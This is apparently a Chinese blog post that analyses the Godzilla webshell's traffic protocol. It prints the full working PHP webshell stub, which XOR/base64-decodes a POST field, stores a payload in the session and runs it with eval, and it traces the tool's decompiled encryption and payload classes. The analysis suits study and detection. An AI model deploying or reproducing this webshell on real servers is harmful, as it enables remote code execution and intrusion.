哥斯拉整体过程刨析

  1. 环境
  2. 分析过程

本文主要是分析哥斯拉流量协议实现的过程

环境

版本:v1.0
有效荷载:Phpdynxxxxx
加密器:php_xor_base64

分析过程

<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){ //$D是base64解密后的数据,$K是key
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15]; //XOR解密数据
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a'; //KEY
    if (isset($_POST[$P])){ //检测密码字段是否存在POST请求
        $F=O(E(O($_POST[$P]),$T)); //先base64解密数据,XOR运算解密数据,base64在解密xor解密后的数据
        if (isset($_SESSION[$V])){ //检测SESSION是否存在 (对应SESSION 临时文件存放的shell)
            $L=$_SESSION[$V]; //SESSION数据读取
            $A=explode('|',$L); //分割|
            class C{public function nvoke($p) {eval($p."");}} //执行命令
            $R=new C();
            $R->nvoke($A[0]); //调用nvoke函数
            echo substr(md5($P.$T),0,16); //md5加密$p和$T,截断0到16位 (输出两次->开头<data>结尾)方便client提取返回内容
            echo Q(E(@run($F),$T)); //输出结果
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

整体步骤如下:
1.一开始是没有session的,第一次把传过来的数据(大马)解密(base64_Decode->Xor_Decode->Base64_decode)写入到session,产生临时文件
-> Server返回带有session编号的cookie返回给client ( Example:Set-Cookie: PHPSESSID=064ef1kh9kjhmp9k46rvejh396; path=/)
-> Client接到带有PHPSESSID后,后续的请求都带上PHPSESSID
2.往后调用对应的功能pass字段就会调用对应大马里的函数

session产生的临时文件里的大马 (对应的脚本语言对应jar目录下的shells/payloads//assets/)

jeb反编译Godzilla.jar
定位到core/ui/component/dialog/ShellSetting.Class
在配置shell的时候步骤如下

调用updateTempShellEntity更新模板对应的设置

initShellOpertion函数
(PayloadModel->对应你设置时选择的有效荷载,CryptModel->对应你设置时选择的加密器)

* 返回http对象
* 返回对应的payloadModel class对象
* 返回对应的cryptModel class对象
* 调用CryptModel.init函数
* 调用payloadModel.init函数
* 调用payloadModel.test函数

getPayload函数

getCryption函数

这里加密器用的PhpXor对应shells/cryptions/phpXor/PhpXor.class
init函数

* 返回http对象
* 返回配置shell设置的密钥
* 返回配置shell设置的密码
* md5加密pass+key
* 截断取0-16

check返回对应的状态

这里分析的payloadModel对应shells/payloads/php/PhpShell.class

* 返回http对象
* 返回对应的shell编码

test函数
(发送test关键字->加密后,判断返回数据结果解密后是否存在ok,如果是则代表成功)

evalFunc函数
获取对应的class name添加到 ReqParameter类型中,调用format返回base64编码后的结果,并开始拼接POST传输的参数,最后调用sendHttpResponse函数发送请求

format函数

sendHttpResponse函数经过几重包装

* 将上面base64编码的结果进行最终加密
* 最后POST发送pass字段

encode函数对应PHP_XOR_BASE64里的

* 根据配置的密钥进行xor编码
* 最后base64,拼接到pass字段

burp捕获配置时的三个包:
第一个发送大马数据,返回session ID

第二和第三个都是对应payload的test函数

完成这些步骤之后,调用对应的功能就是调用大马里对应的函数
参考链接:https://www.freebuf.com/sectool/285693.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:哥斯拉整体过程刨析

本文作者:九世

发布时间:2021-09-03, 21:27:25

最后更新:2021-09-04, 03:05:54

原始链接:http://jiushill.github.io/posts/befc239e.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录